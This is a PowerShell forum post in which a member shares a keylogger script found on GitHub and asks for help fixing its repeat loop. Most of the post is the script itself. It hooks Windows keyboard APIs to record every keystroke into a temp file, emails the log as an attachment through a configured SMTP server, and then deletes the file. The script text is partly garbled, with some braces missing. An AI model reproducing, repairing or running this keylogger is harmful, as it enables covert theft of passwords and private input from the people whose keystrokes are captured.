Repeating Script problem

Welcome Forums General PowerShell Q&A Repeating Script problem

Viewing 0 reply threads
  • Author
    • #208191
      Topics: 2
      Replies: 4
      Points: 31
      Rank: Member

      Hello guys,

      I found a cool keylogger script on github that I decided to check out. It’s all working except for the amount of times it should repeat ($TimesToRun). I have spend most of my day today trying to figure out what the problem was and fixing it but with no luck so far. I also tried rewrite the script. One thing I tried is looping the script in various ways [ for ($i=1; $i -le 5; $i++) etc…] but it still wouldn’t work. It just closes after the first time period or a new .txt file isn’t created so I get a error. Here is the script, maybe someone can help me find the problem:

      # Edit only this section!
      $TimesToRun = 2
      $RunTimeP = 1
      $From = ""
      $To = ""
      $Subject = "Keylogger Results"
      $body = "Keylogger Results"
      $SMTPServer = ""
      $SMTPPort = "587"
      $credentials = Get-Credential
      $TimeStart = Get-Date
      $TimeEnd = $timeStart.addminutes($RunTimeP)
      #requires -Version 2
      function Start-KeyLogger($Path="$env:temp\keylogger.txt") 
        # Signatures for API Calls
        $signatures = @'
      [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
      public static extern short GetAsyncKeyState(int virtualKeyCode); 
      [DllImport("user32.dll", CharSet=CharSet.Auto)]
      public static extern int GetKeyboardState(byte[] keystate);
      [DllImport("user32.dll", CharSet=CharSet.Auto)]
      public static extern int MapVirtualKey(uint uCode, int uMapType);
      [DllImport("user32.dll", CharSet=CharSet.Auto)]
      public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
        # load signatures and make members available
        $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
        # create output file
        $null = New-Item -Path $Path -ItemType File -Force
          # create endless loop. When user presses CTRL+C, finally-block
          # executes and shows the collected key presses
          $Runner = 0
      	while ($TimesToRun  -ge $Runner) {
      	while ($TimeEnd -ge $TimeNow) {
            Start-Sleep -Milliseconds 40
            # scan all ASCII codes above 8
            for ($ascii = 9; $ascii -le 254; $ascii++) {
              # get current key state
              $state = $API::GetAsyncKeyState($ascii)
              # is key pressed?
              if ($state -eq -32767) {
                $null = [console]::CapsLock
                # translate scan code to real code
                $virtualKey = $API::MapVirtualKey($ascii, 3)
                # get keyboard state for virtual keys
                $kbstate = New-Object Byte[] 256
                $checkkbstate = $API::GetKeyboardState($kbstate)
                # prepare a StringBuilder to receive input key
                $mychar = New-Object -TypeName System.Text.StringBuilder
                # translate virtual key
                $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
                if ($success) 
                  # add key to logger file
                  [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) 
      	  $TimeNow = Get-Date
      	send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
      	Remove-Item -Path $Path -force
          # open logger file in Notepad
      	exit 1
      # records all key presses until script is aborted by pressing CTRL+C
      # will then open the file with collected key codes
      • This topic was modified 2 months, 3 weeks ago by hanso4296. Reason: Grammar and spelling misstake
Viewing 0 reply threads
  • You must be logged in to reply to this topic.